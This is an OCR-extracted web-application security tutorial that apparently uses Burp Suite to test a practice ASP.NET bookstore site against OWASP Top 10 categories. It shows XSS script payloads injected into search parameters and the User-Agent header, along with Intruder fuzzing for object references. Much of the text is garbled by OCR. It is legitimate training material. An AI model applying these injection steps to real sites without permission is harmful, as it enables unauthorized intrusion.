62 https://www.google-analytic... GET Jrjcollect?v=1& v=j7882a=194192.. ¥ 302 1004 HTML 302 Moved v 7412521138

63 https://stats.g.doubleclicknet GET Jrjcollect?v=18&aip=1&t=dc& r=3.. v 302 979 HTML 302 Moved v 64.233.185.156

66 hups://aspdotnetapp.infose... POST  /login.aspx v 200 13465  HTML aspx Login page v 104.25.166.6

69 https://aspdotnetapp.infose... POST  /login.aspx v 200 13467 HTML aspx Login page v 104.25.166.6

70 https://www.google-analytic... GET r/collect?v=1& v=j78&a=162580... v 302 1000 HTML 302 Moved v 64.233.177.102

71 hupsy//stats.g.doubleclicknet GET Jr/collect?v=1&aip=1&t=dc&_r=3... v 302 977 HTML 302 Moved v 64.233.185.155

74 htps://aspdotnetapp.infose... POST  /login.aspx v 200 13467  HTML aspx Login page v 104.25.166.6

75 htps://www.google-analytic.. GET Jr/collect?v=1& v=j78&a=175462 v 302 1002 HTML 302 Moved v 64.233.177.102

76 https://stats.g.doubleclicknet GET Jr/collect?v=1&aip=1&t=dc&_r=3.. v 302 979 HTML 302 Moved v 64.233.185.155 v
2 httne-fIaendntnatann infaca  DOST flnnin 2cns ’ 200 12467 WTM acny Lanin nana 4 104251666

& P v

5. If cookies are being used as the transmission mechanism for session tokens, verify
whether the “secure’ flag has been set, this will prevent them from being transmitted
over unencrypted connections.

If there are any Results found you should see “SSL cookie without secure flag set” in
the issues tab:

[Target ] Options ] Proxy [ Spider 1 Scanner 1 Intruder ] Repeater 1 Sequencer 1 Decoder 1

JSite map] Scope J

| Filter: Hiding out of scope items

" https://google-gruyere.appspot.com | | Contents [ Issues |

> Password submitted using GET method [2

skt Passward field with autocomnlete enable

i SSL cookie without secure flag set [2]

» 1 Cookie without HttpOnly flag set [2]

» 1 Browser cross-site scrnipting filter disable
i Robots.txt file

» i Cacheable HTTPS response [3]

» 1 HTML does not specify charset [6]
i SSL certificate

» | Frameable response (potential Clickjackir
- Path-relative style sheet import [6]
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3.Cross Site Scripting:

XSS Reflected:

Go to the website:

® @ https:// infosecaddiclscom/’bookde\an.aspx- [EREREON R

w Books Forever

Advanced Search

NOTE:

by the first name

All of the tips,

Book name:

Author:

Publication:

ISBN:

Pages:

Price:

Buy Now

Latest Releases & News

July 21st, 2009

based protocol to let
applications exchange information over
HTTR

I s important for
development  to  allow
‘communication between programs

June 22nd, 2005

Today's applications comm

3 but HTTP
was not designed for this. RPC
tibility and s

represents a
problem; fi
normally block this kind of traffic.

A better way to communc
applications s over HTTP, b
met browsers and

ed to accomplish

In the search tab, type: <script>alert(hackable)</script>:
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& https://aspdotnetapp.infosecaddicts.com/bookdeta B --UHMEY vy In DO @® ® ¢ T

l<sc aler(hackable)

w Books Forever

All of the tips, techniques, and examples presented revolve
around users being able to surf merrily through a well-designed atest Releases & News

site with minimal strain. Readers will quickly come to
ﬂ Go agree with many oks assumptions, such as We do not July 21st, 2009
' V72 read pages--we scan them® and We do ¥ re out how
Advanced Search &~ things work-we muddle through. Coming to grips with such This is a template
. hard facts sets the stage for Web design that then produces explore
topnotch sites. vices (SOAP)
Book name: SOAP s a simple XML:
based protocol to let
applications exchange information over
Author: HTTR
Publicats I s important for application
ubRCation: development to  allow  Internet
communication between programs,
ISBN:
June 22nd, 2005
NOTE: ) Today's applications communicate using
Search your book thors Pages: Remote Procedure Calls (RPC) between
by the first name objects ke DCOM and CORBA, but HTTP
. was not designed for this. RPC
Price: 9

represents a compatibility and security
problem; firewalls and proxy servers will
normally block this kind of traffic

Buy Now

A better way to communicate between
applications is aver HTTP, because HTTP
s supported by all I
servers. SOAP was created to a
this.

SOAP provides a way to communicate
between applications  running  on
differ operating  systems,  with
different technologies and programming

languages

Click Go to execute the script:
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& C ® & icSearch.aspx?Word=<script>alert(hackable);</scripts] v [ = e+ o W R\ )

Server Error in '/' Application.

A potentially dangerous Request.QueryString value was detected from the client (Word="<script>alert(hackab...").

Description: ASP.NET has detected data in the request that is potentially dangerous because it might include HTML markup or script. The data might represent an attempt to compromise the security of your application, such as a cross-site scripting
attack. If this type of input is appropriate in your application, you can include code in a web page to explicitly allow it. For more information, see http://go.microsoft. comifwlink/?LinkID=212874.

Exception Details: System.Web.Hiipi A potentially dangerous Request.QueryString value was detected from the ciient (Word="<script>alert(hackab...").

Source Error:

[No relevant source lines]

Source File: c\Wi NETY 0.30319\Temporary ASP.NET Files\rootie22c2559192c7946\App_Web_zhcOug2w.é.cs  Line: 0

Stack Trace:

[HttpRequestValidationException (0x80004005): A potentially dangerous Request.QueryString value was detected from the client (Word="<script>ale
System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) +11968679
System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection) +200
System.Web.HttpRequest.get QueryString() +69
System.Web.UI.Page.DeterminePostBackMode() +85
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +9458
System.Web.UI.Page.ProcessRequest (Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +345
System.Web.UI.Page.ProcessRequest() +75
System.Web.UI.Page.ProcessRequest (HttpContext context) +70
ASP.basicsearch_aspx.ProcessRequest (HttpContext context) in c:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22
System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +790
System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +195
System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +88

It creates an error on the server (normally an alert window should appear)

DOM-Based XSS:

Capture the website in proxy:
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D @ https://aspdotnetapp.infosecaddicts.com/bookdeta B UM v IN D @ ® & T

>aler(hackable)

w Books Forever

SeseKag Al of the tips, techniques, and examples prese:
around users being able to surf merrily through a w

R atest Releases & News

me to

site with minimal
ﬂ Go agree with many of the baoks assumptions, such as We do not July 21st, 2009
read pages-—we scan them® and We do out how
things work--we muddle through. Coming to grips with such
hard facts sets the stage for Web design that then produces
topnotch sites.

strain. Readers will quicks

Advanced Search This is a template

explore
es (SOAP)

Book name: SOAP is a simple XML-
based protocol to let
applications exchange information over
Author: HTTR
Publicati It is important for application
ubRCation: development to  allow  Internet
communication between programs.
ISBN:
June 22nd, 2005
NOTE: . cat
Today's applications communicate using
e - & . Pages:

Search your book s Remote Procedure Calls (RPC) between
by the first name objects fike DCOM and CORBA, but HTTP
was not designed for this. RPC
represents a compatibility and security
problem; firewalls and proxy servers will
normally block this kind of traffic

Price:
Buy Now

A better wa e between
applications is aver HTTP, because HTTP
s supported by all Intemet browsers and
servers. SOAP was created to accomplish
this.

SOAP provides a way to communicate
applications  running  on
operating  systems,  with
chnologies and programming

languages

[Target T F y TSpider T Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TAIerts ]

_[ Intercept T HTTP history TWebSockets history I Options ]

w £ Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.166.6)

Interceptis on | Action

{ Forward J { Drop J

Raw | Params | Headers | Hex

GET /BaaicSearch.aspx?Wor HTTP/ 1.1

Hoat: aspdotnetapp.infosecaddicta.com

User-aAgent: Mozilla/S.0 (Macintoah; Intel Mac 0S5 X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/%;9=0.8

mccept-Language: en-US,en;qQ=0.5

Bccept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosecaddicta.com/bookdetail.aapx?id=1

Connection: cloae

Cookie: _ cfduid=dc6029645259a793349b3b3819dael3f6el564954288; _ga=GAl.2.781573113.1564954291; _ avc=4e20d75blécS5e988ealiSblalaf;
__tawkupid=e::infosscaddicts.com: : AptkfXgFFEGWhE8KETgE8wvukfPHURU+559KE £d 82 5w0cn tFO+agnYBMxdcBhX/ /1 :2; _ stripe_mid=b53f835b-625c-4a04-8fe8-075cTbbocaTcf;
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789.1566082771

Upgrade-Insecure-Requeata: 1

Cache-Control: max-age=0

Change the “User-Agent” to a script alert tag:
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[Target T f T Spider TScanner I Intruder T Repeater TSequencer I Decoder I Comparer I Extender T Project options I User options TAIerts ]

j I t T HTTP history TWebSockets history T Options ]

w ) Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.166.6)

Action

[ Forward J t Drop J { Intercept is on |

Raw | Params | Headers | Hex

GET /BasicSearch.aspx?Word= HTTP/l.1

Hoat: aspdotnetapp.infosecaddicta.com

User-Agent: <acript=alert(hackable);</acript>

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%*/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosecaddicta.com/bookdetail.aspx?id=1
connection: cloase

Cookie: _ cfduid=dc6029645859a793349b3b819dan0ifeeli64954288; ga=Gal.2.78
__ tawkovid=e::infosecaddicta.com: :AptkfxgFPPECRhE8KETQEswvUkEPHURY +589KE £d 8!
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789,1566082771
Upgrade-Inaacure-Requeata: 1

Cache-Control: max-age=0

573113.15649542491; auc=4e20d75blécS5ed88ealisblalaf;
SwocntFQ+agNYBHxdcBhX//1:2; _ atripe mid=bS3£835b-625c-4a04-8fe8-075cTbbcalef

1
2

Forward and see the results:
Server Error in '/' Application.

A potentially dangerous Request.Form value was detected from the client (ctl00$txtSearchDOMXSS="<script>alert(123);<...").

Description: ASPNET has detected data in the request that is potentially dangerous because it might include HTML markup or script. The data might represent an attempt to compromise the security of your application, such as a cross-site scripting
attack. If this type of input is appropriate in your appiication, you can include code in a web page to explicity allow it. For more information, see hitp:/igo.microsoft.com/fwlink/?LinkID=212874.

Exception Details: System.Web.Httpl \Exception: A potentially Request.Form value was detected from the client DOMXSS="<script 123);<...%).

Source Error:

[No relevant source lines]

Source File: c:\Windows! NETY 0.30319\Temporary ASPNET F pp_Web_hijdysd.10.cs Line: 0

Stack Trace:

[HttpRequestValidationException (0x80004005): A potentially dangerous Request.Form value was detected from the client (ctl00$txtSearchDOMXSS="<
System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection) +11968679
System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection) +200
System.Web.HttpRequest.get Form() +59
System.Web.HttpRequest.get HasForm() +11969054
System.Web.UI.Page.GetCollectionBasedOnMethod (Boolean dontReturnNull) +106
System.Web.UI.Page.DeterminePostBackMode() +85
System.Web.UI.Page.ProcessRequestMain(Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +9458
System.Web.UI.Page.ProcessRequest (Boolean includeStagesBeforeAsyncPoint, Boolean includeStagesAfterAsyncPoint) +345
System.Web.UI.Page.ProcessRequest() +75
System.Web.UI.Page.ProcessRequest (HttpContext context) +70
ASP.basicsearch_aspx.ProcessRequest(HttpContext context) in c:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\root\e22:
System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +790
System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +195
System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +88

You see an error, and the server shows it is vulnerable to DOM Based XSS.

Stored XSS :

Capture the website in proxy:

23



we are |everywhere
we are | attackRers
we are |defenders
we are |addicts

In oSecAddicc5§

& https://aspdotnetapp.infosecaddicts.com/bookdeta B --UHMEY vy In DO @® ® ¢ T

w Books Forever

SeseKag Al of the tips, techniques, and examples presented revolve
around users being able to surf merrily through a well-designed test Releases & News
site with minimal cognitive strain. Readers will quid ne to

ﬂ Go agree with many of the baoks assumptions, such as We do not July 21st, 2009
I N ! read pages--we scan them® and We re out how
&~ things work-we muddle through. Coming to grips with such

hard facts sets the stage for Web design that then produces
topnotch sites.

This is a template

Advanced Search

explore
web services (SOAP)

Book name: SOAP is a simple XML-

based protocol to let
applications exchange information over
HTTR,

Author:

publicati I s imporant for application
ublication: development  to  allow  Internet

communication between programs

ISBN: June 22nd, 2005

Today's applications communicate using
Remote Procedure Calls (RPC) between
objects ike DCOM and CORBA, but HTTP
was not designed for this. RPC
represents a compatibility and security
problem; firewalls and proxy servers will
normally block this kind of traffic

Pages:

Price:

Buy Now

A better way to communicate between
applications is aver HTTP, because HTTP
s supported by all Intemet browsers and
servers. SOAP was created to accomplish
this.

SOAP provides a way to communicate
between applications  running  on
diffes operating  systems,  with
technologies and programming

es.

[Target T F Y TSpider T Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TAIerts ]

_[ Intercept T HTTP history IWebSockets history T Options ]

w £ Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.166.6)

| Forward J | Drop J [ Interceptis on | Action

Raw | Params | Headers | Hex

GET /BasicSearch.aspx?Word= HTTP /L.l

Hoat: aspdotnetapp.infosecaddicta.com

User-aAgent: Mozilla/S.0 (Macintoah; Intel Mac 0S5 X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/+;9=0.8

mccept-Language: en-US,en;qQ=0.5

Bccept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosecaddicta.com/bookdetail.aspx?id=1

connection: cloae

Cookie: _ cfduid=dcE029645259a793349b3b3819dael3f6e1564954288; _ga=GAl.2.781573113.15649549291; _ au
__tawkouid=e::infosscaddicta.com: : AptkfxgPFEGRhS8KETQSEwvukf PHURU+559KE £d 82 Swocn £PQ+aguYBHxdcBh X/ /
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789.1566082771

Upgrade-Insecure-Requeata: 1

Cache-Control: max-age=0

@20d75blécS5e988ealiSblalaf;
i __atripe_mid=b53£835b-625c-4a04-8fe8-075cTbbca¥ct;

Go to “Repeater tab”:
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Type in the script: "><script>alert(document.domain)</script>

o | (<]

Request

I Raw | Params THeaders THex ]

GET request to /BasicSearch.aspx

Type | Name | Value | Add
URL Word [<script>alertidocument.domain) </script> | ;J
Cookie __cfduid dc6029645e59a793349b3b819dae03f6e... Remove
Cookie _ga GCA1.2.781573113.1564954291 ;J
Cookie auc 4e20d75b16c5e988eal3Shlalaf

— u
Cookie __tawkuuid ezinfosecaddicts.com:AptkfxgFFEGWh8S... L—DJ
Cookie stripe_mid bh53f835b-625c-4a04-8fe8-075c7bbca7cf

= = Down
Cookie _fbp fb.1.1564955153850.417041806 L—J
Cookie _gid CA1.2.1143145789.1566082771
Cookie _gat 1

Click Go and see the Rendered results:
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Response

[ Raw T Headers T Hex T HTML TRender ]

Server Error in '/' Application.

A potentially dangerous Request. QueryString value was detected from the
client (Word="""><script>alert(docume...").

Description: ASP.NET has detected data in the request that is potentially dangerous
because it might include HTML markup or script. The data might represent an attempt
to compromise the security of your application, such as a cross-site scripting attack. If
this type of input is appropriate in your application, you can include code in a web
page to explicitly allow it. For more information, see
http://go.microsoft.com/fwlink/?LinkID=212874.

Exception Details: System.Web.HttpRequestValidationException: A potentially
dangerous Request.QueryString value was detected from the client
(Word=""><script>alert(docume...").

Source Error:

[No relevant source lines]

Source File: c:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary
ASP.NET Files\root\e22c2559\92c7e946\App_Web_pviznhih.12.cs Line: 0

Stack Trace:

4.Insecure Direct Object References:

Insecure Direct Object References:

Capture the application in Burp’s Proxy:
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& https://aspdotnetapp.infosecaddicts.com/bookdeta B UM% N [\ i ) ® ¢ T

w Books Forever

SeseKag Al of the tips, techniques, and examples presented revolve
around users being able to surf merrily through a well-designed test Releases & News

site with minimal cognitive strain. Readers will qui) ne to

ﬂ Go agree with many of the baoks assumptions, such as We do not July 21st, 2009
I N ! read pages--we scan them® and We re out how
&~ things work-we muddle through. Coming to grips with such
hard facts sets the stage for Web design that then produces
topnotch sites.

This is a template

Advanced Search

explore
web services (SOAP)

Book name: SOAP is a simple XML-

" based protocol to let

applications exchange information over
HTT®

Author:

I s important for application
development  to  allow Intemet
communication between programs

Publication:

ISBN: June 22nd, 2005

Today's applicatior:
Remote Procedure Calls (RPC) between
objects ike DCOM and CORBA, but HTTP
was not designed for this. RPC
represents a compatibility and security
problem; firewalls and proxy servers will
normally block this kind of traffic

communicate using
Pages:

Price:

Buy Now

A better way to communicate between
applications is aver HTTP, because HTTP
s supported by all Intemet browsers and
servers. SOAP was created to accomplish
this.

SOAP provides a way to communicate
between applications  running  on
diffes operating  systems,  with
technologies and programming

es.

[Target T F y TSpider T Scanner T Intruder I Repeater T Sequencer T Decoder I Comparer T Extender T Project options T User options TAIerts ]

_[ Intercept T HTTP history TWebSockets history I Options ]

w £ Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.166.6)

Interceptis on | Action

{ Forward J { Drop J

Raw | Params | Headers | Hex

GET /BaaicSearch.aspx?Word= HTTP /L.l

Hoat: aspdotnetapp.infosecaddicta.com

User-aAgent: Mozilla/5S.0 (Macintoah; Intel Mac 0S5 X 10.13; rv:68.0) Gecko/20100101 Pirefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/+;9=0.8

mccept-Language: en-US,en;qQ=0.5

Bccept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosecaddicta.com/bookdetail.aapx?id=1

Connection: cloae

Cookie: _ cfduid=dc6029645259a793349b3b3819dael3df6el564954288; _ga=GAl.2.781573113.1564954291; _ avc=4e20d75bléc5e988ealiSblalaf;
__ tawkouid=s::infosscaddicts.com: : AptkfxgFFEGWh 38KATQS8wvukEPHURY +589KE £d 82 5w0Cn tFQ+3gNYBHXdcBhX//::2; _ atripe_mid=b53f835b-625c-4a04 -8£e3-075c Tbboatof;
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789.1566082771

Upgrade-Insecure-Requeata: 1

Cache-Control: max-age=0

Send to Intruder:
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[ arget | Proxy | spider | scanner T intruder | Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts

Tl [ ol

Target TPositions T Payloads T Options ]

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

GET /Default.aspx HTTP/L.1

Host: aspdotnstapp.infosscaddicta.com

User-agent: Mozilla/5.0 (Macineosh; Intel Mac 0S5 X 10.13; rvi68.0) Gecko/20100101 Firefox/68.0

Bccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8

accept-Language: en-us,en;g=0.5

accepe-Encoding: gzip, deflate

Refersr: httpa://aspdotnetapp.infosscaddicta.com/Signup.aspx

Connection: cloae

Cookie: _ cfduid=5dc602964559a793349b3b819daa03df6a15649542885; _ga=5GAL.2.781573113.15649542015; __ auc=54e20d75bl6c5e988saliSblalafs;
__tawkooid=§e::infosacaddicts.com: : AptkfxgFFEGKh 88KETQEswVIKEPHURU+589KS £d825w0C N EFQ+agNYBMxdCBhX /711 25;
__atripe_mid=§b53£835b-625c-4a04 -8fe8-075cThbcaTofs; _fbp=5fb.l.1564955153850.4170418065; _gid=5GAL.2.1143145789.15660827715; _gat=51§
Upgrade-Inaecure-Requesta: 1

Cache-control: max-age=0

After selecting the area you want to target, of to the “Payloads section:

Start attack

Add §
Clear §
Auto §
Refresh

[Target T Positions I Payloads T Options ]

@ Payload P

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: | Sniper

GET /Default.aspx §4§| HTTP/L.1

Hoat: aspdotnetapp.infosscaddicta.com

User-Agent: Mozilla/5.0 (Macintoash; Intel Mac 0S X 1l0.13; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;9=0.8

en-us,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosscaddicta.com/Signup.aspx

Connection: cloae

Cookie: _ cfduid=dc6029645559a793349b3b819das03f6e15649542 _9a=GAl.2.781573113.1564954291; _ au
__tawkouid=, infosecaddicts.com: : AptkfxgFFPEGRh 8EKETQEEwvukfPHURU+589KE £d 82 SwOcn £PQ+agNYBMxdcBh X/ /
_fbp=fb.1.1564955153850.417041806; _gid=GAl.2.1143145789.1566082771; _gat=1
Upgrade-Inascure-Requeata: 1

Cache-Control: max-age=0

820d75blécSedB8ealiSblalat;
; __atrips_mid=b53£835b-625c-4a04 -

Choose Numbers for this attack:

T
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[ Target | positions | Payloads | options |

(2) Payload Set Start attack
You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type
can be customized in different ways.

Payload set: [1 v Payload count: 2
Payload type: [ Numbers v Request count: 2

(2) Payload Options [Number

This payload type generates numeric payloads within a given range and in a specified format.

Type @ Sequential O Random
From: 1

To 1000

Step: 1000

How many:

Results: :
O @ Intruder attack 1

Attack Save Columns

j Results T Target T Positions T Payloads I Options ]

| Filter: Showing all items 2
Request a | Payload Status | Error Timeout | Length | Comment

0 404 g (] 1669
1 1 404 () (] 1669

Finished [ |

In this example we get 404 errors, however, if there was a vulnerability you would investigate
further to see if there was a vulnerability.
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S5.Security Misconfiguration:

Security Misconfiguration Testing:

Spider the application you wish to attack:

Target | Proxy | spider | scanner | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts

T

| Filter: Hiding out of scope and not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders

L ]

O https:/,

com

Mathod | 1p1

» & BasicSearch.aspx
> & Defaultaspx

[ SignUp.aspx
» & WebResource.axd
> @ bookdetail.aspx
» [ cdn-cgi
» [ images

m
A https://aspdotnetapp.infosecaddicts.com /
Remove from scope
Spider this host

Engagement tools [Pro version only]
Compare site maps
Expand branch

Expand requested items
Collapse branch

Delete host

Copy URLS in this host
Copy links in this host
Save selected items

Show new site map window
Site map help

1 | Params | Status & | Length | MIME type

| Comment

Time reque.

lication/xml;g=0.9,*

a.com/bookdstail. aspx?id=1

2203661564054 2

6GHh 8KBTqEswvY
beatef; _fbp=fb.

P fac 05 x 10.13; rv:68.0) Gecko/20100101 Firefox/68.0
Jriq=0.8

_ga=GA1.2.781573113.1564954201; __auc=4e20d75blécSeds8ealisblalat;
GRU+559 825w0cn £FQ+agUYBKxdCBRE/ /1127
1564955153850.4 1704 1806; _gid=GAL.2.1143145789.1566082771; _gat=1

If you have passive scanning enabled when spidering the application “Directory listing”
should be included in the results:

30



everywhere
attackers
defenders
addicts

InFoSecAddiccgg

[Adviso:y ] Request 1 Response ]

| Directory listing

Issue: Directory listing
Severity Information
Confidence: Firm

Host http://172.16.67.136
Path: /mutillidae/includes/

Issue description

Directory listings do not necessarily constitute a security vulnerability. Any sensitive resources within y
case, and should not be accessible by an unauthorized party who happens to know the URL. Neverth
them to quickly identify the resources at a given path, and proceed directly to analyzing and attackin

Issue remediation

There ic not nsnallv anv nnnd reasnn tn nrowvide directarv listinne and disahlina tham mav nlare add

6. Sensitive Data Exposure:

Capture the Login Details:

W@ Books Forever [so ]

User name: test
Password: sses| Latest Releases & News
e L] he bo July 21st, 2009

This is a template
designed to explore
web services (SOAP)
attacks.

Advanced Search

| SOAP is a simple XML-
based protocol to let
applications exchange information over
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[ Target spider | scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts |

J | HTTP history | Websockets history | Options |

&4} £) Request to https://aspdotnetapp.infosecaddicts.com:443 [104.25.167.6)
Forward | Drop Intercept is on Action @ C)
Raw | Params | Headers | Hex | Viewstate |

FOST /login.aspx HTTP/L.1

Host: aspdotnetapp.infosscaddicta.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 x 10.13; rv:és. o, Geckn/?ﬂLDDIDI Firefox/68.0
Accept: text/heml,application/xheml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: httpa://aspdotnetapp.infosscaddicts.com/login.aapx

Content-Type: application/x-www-form-urlencoded

content-Length: 687

connection: close

cookie: 47cfduxd dc6020645659a793349b3b810das03f6e1564954288;
__tawkouid=e::infosecaddicta.com: : Aptkfx h88KaTqS £
“fbp=fb.1.15: d355159250.4 1704 18 06; _
Upgrade-Insecure-Requeats: 1

T

_ga=GAl.2.781573113.1564954291; _ anc=de20d75bléc5ed88ealiSblalaf
PHTRU+588KE £d525000N EFQ+aGNYBKKACENR/ {1 :2; _ atrips mid=bS3f835b-525c-da04 -8f88-075c ThboaTef

__EVENTTARGET=E__EVENTARGUMENT=E VI 2 PWEPD®U ZAWOTT QICAWIKFQYCEMBPFQISELEps21ibGVosGaCCwEPFQIfAGhKS ATbDXYCHglpbmS1emh ObiweFD 1d 1bGNvbIU g8 3v1c IQQIWDYAQU
e)19Db750cm§sclalc/vpcmvﬂb3nDumF1aOt1&vQfPg)FDmHﬂbDRdJGllU’thmH:EFPjdEﬂdKEFpllulY/JjaEPythTHﬂuF(JFEN[AVAHJDE/j"PhlhaIdFIRNDt[AWJEHJDnF]anﬂbGFjsthtGFlcjEszaKb 2dpbpS»2BIRPVGL
pmBkE6wSad00%2FhY jGZHYEKS b2 FEREbMXS£E__ VI ‘OR=C2EEUABBEC 100524 =&c 100324 hooKXSS=6C £100324dd 1advEearch=Titlekc £10052d txtNewaEmail=kc t100524Contant

PlaceHolderl$2d xtUaser=testict100$24contantPlaceHolder 1524 txtPasa= 1234Lct100%24contantPlaceNoldexL%241bnogxn.x 136ct100%24ContentPlacetolder 1924 ibLogin.y=11

Attempt an Active scan on the application:

Since there is a “Cleartext submission of password” on this application, there isn’t any sensitive
vulenrabilities to report.

7. Missing Function Level Access Control:

Difficult to perform without being to able authenticate into Web Application

8. Cross-Site Request Forgery (CSRF):

Difficult to perform without being to able authenticate into Web Application

9. Test for Components with Known
Vulnerabilities:

Go to the “HTTP history” tab:
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[intercept | HTTP history | websockets history | Options |

| Filter: Hiding CSS, image and general binary content @]
# | Host Method | URL | Para.. v | Edited | Status Length | MIME type | Extension | Title | Comment SsL | Ip |C
33 https:/ /www.google-analytic... GET Jr/collect?v=1& v=j78&a=407164... v 302 1002 HTML 302 Moved v 64.233.185.138 A
34 https:/ /aspdotnetapp.infose... GET /bookdetail.aspx?id=1 v 200 12948  HTML aspx Book Detail Page Vv 104.25.167.6
35 https:/ /aspdotnetapp.infose... GET /BasicSearch.aspx?Word= v 200 16470 HTML aspx Basic Search Page v 104.25.166.6
63 https://aspdotnetapp.infose... GET /BasicSearch.aspx?Word= v v 403 3622 HTML aspx Access denied | aspdo... Vv 104.25.166.6
64 https://clients4.google.com POST Jinvalidation/lcs /request v 204 321 v 173.194.219.102 S
65 https://play.google.com POST /log?format=json&hasfast=true&u... v 200 767 JSON v 172.217.10.174 S|
66 https://0.client-channel.goo... GET /client-channel/channel/bind?ctyp... v 400 715 HTML Unknown SID v 64.233.177.189 S|
68 https://play.google.com POST /log?format=json&hasfast=true v 200 929 JSON v 17221710174
69 https://play.google.com POST /log?format=json&hasfast=true&a... v 200 763 JSON v 172217.10174 |
70 https://0.client-channel.goo... GET /client-channel/channel/bind?ctyp... v 400 715 HTML Unknown SID Vv 64.233.177.189 |
77 https://0.client-channel.goo... GET /client-channel/channel/bind?ctyp... v 400 715 HTML Unknown SID v 64.233.177.189 S|
79 https://0.client-channel.goo... GET /client-channel/channelfcbp?ctype... v 200 599 JSON Vv  64.233.177.189 |
83 https://0.client-channel.goo... GET /client-channel/channelfcbp?ctype... v 200 599 JSON v 64233.177.189 Sy
1 hrtne:duman annala-anahtic  CET Irieallarthi—1R. yi—i7RRa—151677 i 20> 100> LT 202 Movad
4\ J 7

Once you select an item, click on the “Response: tab.

Request | Response ]

J Raw T Headers T Hex T HTML T Render T ViewState ]

HTTP/1l.1 200 OK

Date: Sun, 18 mog 2019 13:02:08 GHT
content-Type: text/html; charset=utf-8
connection: cloas

Ccache-Control: private

vary: Accept-Encoding
X-AspWNet-Veraion: 4.0.30319
X-Poweraed-By: ASP.NET
Strict-Tranaport-Security: max-age=0
X-Content-Type-Optiona: noaniff
Expaect-CT: max-age=604800, report-uri="httpa://report-vri.clovdflare.comfcdn-cgi/beacon/expact-ct"
Server: cloudflare

CF-RAY: 5084149518d3elea-0ORD
Content-Length: 16012

In here you can see information regarding the web server used by the web application.

This information can help with information gathering process.

10.Unvalidated Redirects & Forwards:

This application is not vulnerable to redirects.
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